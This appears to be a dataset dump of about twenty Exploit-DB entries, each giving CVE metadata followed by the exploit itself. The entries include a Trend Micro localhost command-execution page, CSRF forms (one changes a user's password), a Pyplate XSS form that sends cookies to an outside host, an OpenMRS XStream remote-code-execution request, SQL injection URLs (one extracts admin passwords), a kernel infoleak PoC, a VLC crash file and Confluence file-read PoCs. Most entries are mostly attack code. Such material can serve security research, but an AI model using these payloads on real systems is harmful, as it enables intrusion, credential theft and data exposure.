QLWD/code_shield huggingface dataset:
标题: Trend Micro - node.js HTTP Server Listening on localhost Can Execute Commands EDB-ID: 39218 CVE: 2016-3987 类型: REMOTE 平台: WINDOWS 发布日期: 2016-01-11 漏洞利用脚本: <!--
Source: https://code.google.com/p/google-security-research/issues/detail?id=693

When you install TrendMicro Antivirus on Windows, by default a component called Password Manager is also installed and automatically launched on startup.

http://www.trendmicro.com/us/home/products/software/password-manager/index.html

This product is primarily written in JavaScript with node.js, and opens multiple HTTP RPC ports for handling API requests.

It took about 30 seconds to spot one that permits arbitrary command execution, openUrlInDefaultBrowser, which eventually maps to ShellExecute().

This means any website can launch arbitrary commands, like this:

x = new XMLHttpRequest()
x.open("GET", "https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true);
try { x.send(); } catch (e) {};

(Note that you cannot read the response due to the same origin policy, but it doesn't matter - the command is still executed).
-->

<html>
<head>
    <title>Trend Micro Maximum Security 10 Exploit</title>
</head>
<body>
    <p>
    Sample exploit for Trend Micro Maximum Security 10.
    <p>
    -- Tavis Ormandy.
    <p>
    Command: <input id="command" value="C:/PROGRA~1/TRENDM~1/Titanium/Remove.exe" size="64">
    <p>
    <a href="javascript:begin()">Click Here</a> to run the command above (the default will uninstall Trend Micro Maximum).
    <p>
    <img src="http://reactiongifs.us/wp-content/uploads/2013/02/awesome_to_the_max.gif">
<script>
    function begin() {
        // The command you want to run, arguments will work but don't use single quotes.
        // Lets uninstall Trend Micro.
        var cmd  = document.getElementById('command').value;

        // Start port, Trend Micro trys top open a port starting here until it works.
        var port = 49155;

        // Wrapper code to start cmd.
        var code = "topWindow.require('child_process').spawn('cmd', [ '/c', '" + cmd + "' ])"

        // We can't send quotes, so encode that via character codes.
        code = code.split('').map(function(a){ return a.charCodeAt(0) }).join(',');

        // Create the XHR's
        for (; port <= 49160; port++) {
            var x = new XMLHttpRequest();

            x.open('GET', 'https://localhost:' + port + '/api/showSB?url=javascript:eval(String.fromCharCode(' + code + '))', false);

            // We can't tell if it worked because of the cross domain policy.
            try { x.send(); } catch (e) {};
        }
    }
</script> URL: https://www.exploit-db.com/exploits/39218
标题: Huawei E303 Router - Cross-Site Request Forgery EDB-ID: 39209 CVE: 2014-2946 类型: REMOTE 平台: HARDWARE 发布日期: 2014-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/67747/info

Huawei E303 Router is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

Huawei E303 Router running firmware versions CH2E303SM is vulnerable; other versions may also be affected. 

[Proof -of-concept HTTP POST request]:
POST /api/sms/send-sms HTTP/1.1
Host: hi.link
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.8,de-de;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hi.link/
Connection: keep-alive
Content-Type: text/plain
Content-Length: 225

<?xml version="1.0" 
encoding="UTF-8"?><request><Index>-1</Index><Phones><Phone>4422</Phone></Phones><Sca></Sca><Content>
Sample Text</Content><Length>0</Length><Reserved>1</Reserved><Date>2013-12-03 
16:00:00</Date></request> URL: https://www.exploit-db.com/exploits/39209
标题: WordPress Plugin JW Player for Flash & HTML5 Video - Cross-Site Request Forgery EDB-ID: 39212 CVE: 2014-4030 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/67954/info

JW Player for Flash & HTML5 Video is a Plugin for WordPress is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

JW Player for Flash & HTML5 Video 2.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=jwp6_menu&player_id=1&action=delete URL: https://www.exploit-db.com/exploits/39212
标题: WordPress Plugin Featured Comments - Cross-Site Request Forgery EDB-ID: 39213 CVE: 2014-4163 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/67955/info

Featured Comments plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Featured Comments 1.2.1 is vulnerable; other versions may also be affected. 

<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\"; method=\"POST\">
  <input type=\"text\" name=\"do\" value=\"feature\">
  <input type=\"text\" name=\"comment_id\" value=\"9\">
  <input type=\"submit\">
</form> URL: https://www.exploit-db.com/exploits/39213
标题: WordPress Plugin Booking System (Booking Calendar) - 'booking_form_id' SQL Injection EDB-ID: 39197 CVE: 2014-3210 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/67535/info

Search Everything plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Booking System (Booking Calendar) 1.3 are vulnerable. 

www.example.com/wp/wp-admin/admin-ajax.php?action=dopbs_show_booking_form_fields&booking_form_id=[SQLi] URL: https://www.exploit-db.com/exploits/39197
标题: PHP-Nuke 'Submit_News' Component - SQL Injection EDB-ID: 39200 CVE: 2014-3934 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/67656/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP-Nuke 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/modules.php?name=Submit_News&subject=whatever&topics[]=[SQLi] URL: https://www.exploit-db.com/exploits/39200
标题: webEdition CMS - 'we_fs.php' SQL Injection EDB-ID: 39206 CVE: 2014-2303 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/67689/info

webEdition CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

webEdition CMS 6.3.3.0 through 6.3.8.0 svn6985 are vulnerable; other versions may also be affected. 

 http://www.example.com/webEdition/we_fs.php?what=4[SQL] URL: https://www.exploit-db.com/exploits/39206
标题: dpkg Source Package - Index: pseudo-header Processing Multiple Local Directory Traversals EDB-ID: 39207 CVE: 2014-3865 类型: LOCAL 平台: LINUX 发布日期: 2014-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/67727/info

dpkg is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow local attackers to modify files outside the destination directory and possibly gain access to the system.

dpkg 1.3.0 is vulnerable; other versions may also be affected. 

,--- exploit.patch ---
Index: index/symlink/index-file
@@ -0,0 +1,1 @@
+Escaped
`--- URL: https://www.exploit-db.com/exploits/39207
标题: User Cake - Cross-Site Request Forgery EDB-ID: 39198 CVE: 2014-3866 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/67604/info

User Cake is prone to a cross-site request-forgery vulnerability because it does not properly validate HTTP requests.

An attacker can exploit this issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

User Cake 2.0.2 is vulnerable; prior versions may also be affected. 

<html>
<! -- CSRF Example for userCake -->
<div align="center">
<pre>

<h2><b>           userCake CSRF Proof of concept     <b></h2>

<h4> Prerequisite: Make sure the user is logged in to the forum before submitting </h4>
<body>
<form
action="http://usercake.com/user_settings.php"
method="POST">
Enter <u>CSRFTest</u> user account password to continue...


 Username:   <b>CSRFTest</b>
   Password: <input type="password" name="password" size="10" required>
<input type="hidden" name="email" value="attacker@email.com" />
<input type="hidden" name="passwordc" value="HelloWorld" />
<input type="hidden" name="passwordcheck" value="HelloWorld" />
<input type="submit" name="submit" value="Submit" />



 </form>
 </body>

</div>
</html> URL: https://www.exploit-db.com/exploits/39198
标题: Linux Kernel 3.3.5 - '/drivers/media/media-device.c' Local Information Disclosure EDB-ID: 39214 CVE: 2014-1739 类型: LOCAL 平台: LINUX 发布日期: 2014-05-28 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/68048/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks.

Linux kernel 2.6.38 through 3.15-rc2 are vulnerable. 
*/

/*
 * $File: media-enum-poc.c
 * $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32.
 * $Author: Salva Peiró <speirofr@gmail.com> (c) Copyright 2014.
 * $URL: http://speirofr.appspot.com/files/media-enum-poc.c
 * $License: GPLv2.
 */

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

#include <sys/ioctl.h>
#include <linux/media.h>
#define MEDIA_DEV "/dev/media0"

int main(int argc, char *argv[])
{
    struct media_entity_desc u_ent = {};
    char *file = MEDIA_DEV;
    int i, fd, ret;

    if (argc > 1)
        file = argv[1];
    fd = open(file, O_RDONLY);
    if (fd < 0){
        perror("open " MEDIA_DEV);
        return -1;
    }

    u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT;
    ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent);
    if (ret < 0){
        perror("ioctl " MEDIA_DEV);
        return -1;
    }

    printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw));
    for (i = 0; i < 200/sizeof(uint32_t); i++) {
        uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i);
        if (i % 4 == 0)
            printf("\n    %08d: ", i);
        printf("0x%08x ", data);
    }
    printf("\n");

    return ret;
}

/*
 gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */ URL: https://www.exploit-db.com/exploits/39214
标题: Pyplate - 'addScript.py' Cross-Site Request Forgery EDB-ID: 39199 CVE: 2014-3854 类型: WEBAPPS 平台: PYTHON 发布日期: 2014-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/67610/info

Pyplate is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

Pyplate 0.08 Beta is vulnerable; other versions may also be affected.

<html>
  <body>
    <form action="http://www.example.com/admin/addScript.py"; method="POST">
      <input type="hidden" name="title" 
value="<script>new&#32;Image&#40;&#41;&#46;src&#61;"http&#58;&#47;&#47;bugs&#46;fi&#47;evil&#46;py&#63;cookie&#61;"&#32;encodeURI&#40;document&#46;cookie&#41;&#59;<&#47;script>"
 />
      <input type="hidden" name="file" value="bugs" />
      <input type="hidden" name="category" value="&#47;" />
      <input type="hidden" name="post" value="<p>bugs<&#47;p>&#13;&#10;" />
      <input type="hidden" name="tags" value="" />
      <input type="hidden" name="description" value="" />
      <input type="hidden" name="state" value="new" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/39199
标题: OpenMRS Reporting Module 0.9.7 - Remote Code Execution EDB-ID: 39193 CVE: 2013-7285 类型: WEBAPPS 平台: JAVA 发布日期: 2016-01-07 漏洞利用脚本: Title: Unauthenticated remote code execution in OpenMRS
Product: OpenMRS
Vendor: OpenMRS Inc.
Tested versions: See summary
Status: Fixed by vendor
Reported by: Brian D. Hysell

Product description:

OpenMRS is "the world's leading open source enterprise electronic
medical record system platform."

Vulnerability summary:

The OpenMRS Reporting Module 0.9.7 passes untrusted XML input to a
version of the XStream library vulnerable to CVE-2013-7285, making it
vulnerable to remote code execution. If the Appointment Scheduling UI
Module 1.0.3 is also installed, this RCE is accessible to
unauthenticated attackers. OpenMRS Standalone 2.3 and OpenMRS Platform
1.11.4 WAR with Reporting 0.9.7 and Appointment Scheduling UI 1.0.3
installed were confirmed to be vulnerable; other versions and
configurations containing these modules are likely to be vulnerable as
well (see "Remediation").

Details:

In the Reporting module, the method saveSerializedDefinition (mapped
to module/reporting/definition/saveSerializedDefinition) in
InvalidSerializedDefinitionController can be accessed by an
unauthenticated user.

The attacker must provide a valid UUID for a definition present in
OpenMRS or a NullPointerException will be thrown before the remote
code execution can take place. However, upon initialization the
Appointments Scheduling UI module inserts a definition with a constant
UUID hard-coded into AppointmentSchedulingUIConstants
(c1bf0730-e69e-11e3-ac10-0800200c9a66).

Proof of concept:

GET /openmrs-standalone/module/reporting/definition/saveSerializedDefinition.form?type=org.openmrs.OpenmrsObject&serializationClass=org.openmrs.module.serialization.xstream.XStreamSerializer&serializedData=<dynamic-proxy><interface>org.openmrs.OpenmrsObject</interface><handler%20class%3d"java.beans.EventHandler"><target%20class%3d"java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action></handler></dynamic-proxy>&uuid=c1bf0730-e69e-11e3-ac10-0800200c9a66&name=test&subtype=org.openmrs.OpenmrsObject

Remediation:

The vendor has addressed this issue in OpenMRS Standalone 2.3.1,
OpenMRS Reference Application 2.3.1, and OpenMRS Platform 1.11.5,
1.10.3, and 1.9.10.

Timeline:

Vendor contacted: November 2, 2015
Vendor replied: November 3
CVE requested: November 14 (no response)
Patch released: December 2
Announced: January 6, 2016 URL: https://www.exploit-db.com/exploits/39193
标题: XOOPS Glossaire Module - '/modules/glossaire/glossaire-aff.php' SQL Injection EDB-ID: 39188 CVE: 2014-3935 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/67460/info

Glossaire module for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can leverage this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Glossaire 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/modules/glossaire/glossaire-aff.php?lettre=A[SQL INJECTION] URL: https://www.exploit-db.com/exploits/39188
标题: Apache mod_wsgi - Information Disclosure EDB-ID: 39196 CVE: 2014-0242 类型: REMOTE 平台: LINUX 发布日期: 2014-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/67534/info

mod_wsgi is prone to a remote information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks. 

import functools
 
import threading
import time
import random
 
def run(*args):
    while True:
        items = []
        for i in range(1000):
            items.append((int(random.random()*20)*'X'))
        time.sleep(0.00001)
 
thread = threading.Thread(target=run)
thread.start()
 
def headers():
    return [('Content-Type', 'text/plain'.upper().lower())]
 
def response():
    yield 'Hello World!\n'
 
_content_type_cache = {}
 
def intern_content_type(application):
    @functools.wraps(application)
    def _wrapper(environ, start_response):
        def _start_response(status, headers, *args):
            _headers = []
            for header, value in headers:
                if header.lower() == 'content-type':
                    value = _content_type_cache.setdefault(value, value)
                _headers.append((header, value))
            return start_response(status, _headers, *args)
        return application(environ, _start_response)
    return _wrapper
 
#@intern_content_type
def application(environ, start_response):
    status = '200 OK'
 
    start_response(status, headers())
    return response() URL: https://www.exploit-db.com/exploits/39196
标题: CIS Manager - 'email' SQL Injection EDB-ID: 39187 CVE: 2014-3749 类型: WEBAPPS 平台: ASP 发布日期: 2014-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/67442/info

CIS Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/autenticar/lembrarlogin.asp?email=[SQL Injection] URL: https://www.exploit-db.com/exploits/39187
标题: VideoLAN VLC Media Player 2.1.3 - '.wav' File Memory Corruption EDB-ID: 39177 CVE: 2014-3441 类型: DOS 平台: MULTIPLE 发布日期: 2014-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/67315/info

VLC Media Player is prone to a memory-corruption vulnerability.

Attackers can exploit this issue to cause a denial-of-service condition. Due to the nature of this issue, arbitrary code execution may be possible but this has not been confirmed.

VLC Media Player 2.1.3 is vulnerable; other versions may also be affected. 

#!/usr/bin/python
data =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x7F\xFF\xFF\xFF\x00\x00\x01\x02\x01\x03\x00\x00\x00\xBA\x1B\xD8\x84\x00\x00\x00\x03\x50\x4C\x54\x45\xFF\xFF\xFF\xA7\xC4\x1B\xC8\x00\x00\x00\x01\x74\x52\x4E\x53\x00\x40\xE6\xD8\x66\x00\x68\x92\x01\x49\x44\x41\x54\xFF\x05\x3A\x92\x65\x41\x71\x68\x42\x49\x45\x4E\x44\xAE\x42\x60\x82"
outfile = file("poc.wave", 'wb')
outfile.write(data)
outfile.close()
print "Created Poc" URL: https://www.exploit-db.com/exploits/39177
标题: Caldera - '/costview2/printers.php?tr' SQL Injection EDB-ID: 39174 CVE: 2014-2934 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/67256/info
 
Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/costview2/printers.php?id_onglet=0&tr=0+union+select+0x3020756E696F6E2073656C656374206E756C6C2C404076657273696F6E2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C,null,null,0,null&deb=0 URL: https://www.exploit-db.com/exploits/39174
标题: Atlassian Confluence 5.2/5.8.14/5.8.15 - Multiple Vulnerabilities EDB-ID: 39170 CVE: 2015-8399 2015-8398 类型: WEBAPPS 平台: XML 发布日期: 2016-01-05 漏洞利用脚本: [Systems Affected]
    Product              :    Confluence
    Company            :    Atlassian
    Versions (1)        :    5.2 / 5.8.14 / 5.8.15
    CVSS Score (1)  :    6.1 / Medium (classified by vendor)
    Versions (2)        :    5.9.1 / 5.8.14 / 5.8.15
    CVSS Score (2)  :    7.7 / High (classified by vendor)


[Product Description]
    Confluence is team collaboration software, where you create,
organize and discuss work with your team. it is developed and marketed
by Atlassian.


[Vulnerabilities]
    Two vulnerabilities were identified within this application:
    (1) Reflected Cross-Site Scripting (CVE-2015-8398)
    (2) Insecure Direct Object Reference (CVE-2015-8399)


[Advisory Timeline]
    26/Oct/2015 - Discovery and vendor notification
    26/Oct/2015 - Vendor replied for Cross-Site Scripting (SEC-490)
    26/Oct/2015 - Issue CONF-39689 created
    27/Oct/2015 - Vendor replied for Insecure Direct Object Reference
(SEC-491 / SEC-492)
    27/Oct/2015 - Issue CONF-39704 created
    16/Nov/2015 - Vendor confirmed that Cross-Site Scripting was fixed
    19/Nov/2015 - Vendor confirmed that Insecure Direct Object
Reference was fixed


[Patch Available]
    According to the vendor, upgrade to Confluence version 5.8.17


[Description of Vulnerabilities]
    (1) Reflected Cross-Site Scripting
        An unauthenticated reflected Cross-site scripting was found in
the REST API. The vulnerability is located at
/rest/prototype/1/session/check/ and the payload used is <img src=a
onerror=alert(document.cookie)>

        [References]
            CVE-2015-8398 / SEC-490 / CONF-39689

        [PoC]
            http://<Confluence
Server>/rest/prototype/1/session/check/something%3Cimg%20src%3da%20onerror%3dalert%28document.cookie%29%3E


    (2) Insecure Direct Object Reference
        Two instances of Insecure Direct Object Reference were found
within the application, that allows any authenticated user to read
configuration files from the application

        [References]
            CVE-2015-8399 / SEC-491 / SEC-492 / CONF-39704

        [PoC]
            http://<Confluence
Server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE>
            http://<Confluence
Server>/admin/viewdefaultdecorator.action?decoratorName=<FILE>

            This is an example of accepted <FILE> parameters
            /WEB-INF/decorators.xml
            /WEB-INF/glue-config.xml
            /WEB-INF/server-config.wsdd
            /WEB-INF/sitemesh.xml
            /WEB-INF/urlrewrite.xml
            /WEB-INF/web.xml
            /databaseSubsystemContext.xml
            /securityContext.xml
            /services/statusServiceContext.xml
            com/atlassian/confluence/security/SpacePermission.hbm.xml
            com/atlassian/confluence/user/OSUUser.hbm.xml
            com/atlassian/confluence/security/ContentPermissionSet.hbm.xml
            com/atlassian/confluence/user/ConfluenceUser.hbm.xml

-- 
S3ba
@s3bap3
linkedin.com/in/s3bap3 URL: https://www.exploit-db.com/exploits/39170
标题: Caldera - '/costview2/jobs.php?tr' SQL Injection EDB-ID: 39173 CVE: 2014-2934 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/67256/info

Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/costview2/jobs.php?tr=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,pass_adm,14,15,16+from+cost_admin URL: https://www.exploit-db.com/exploits/39173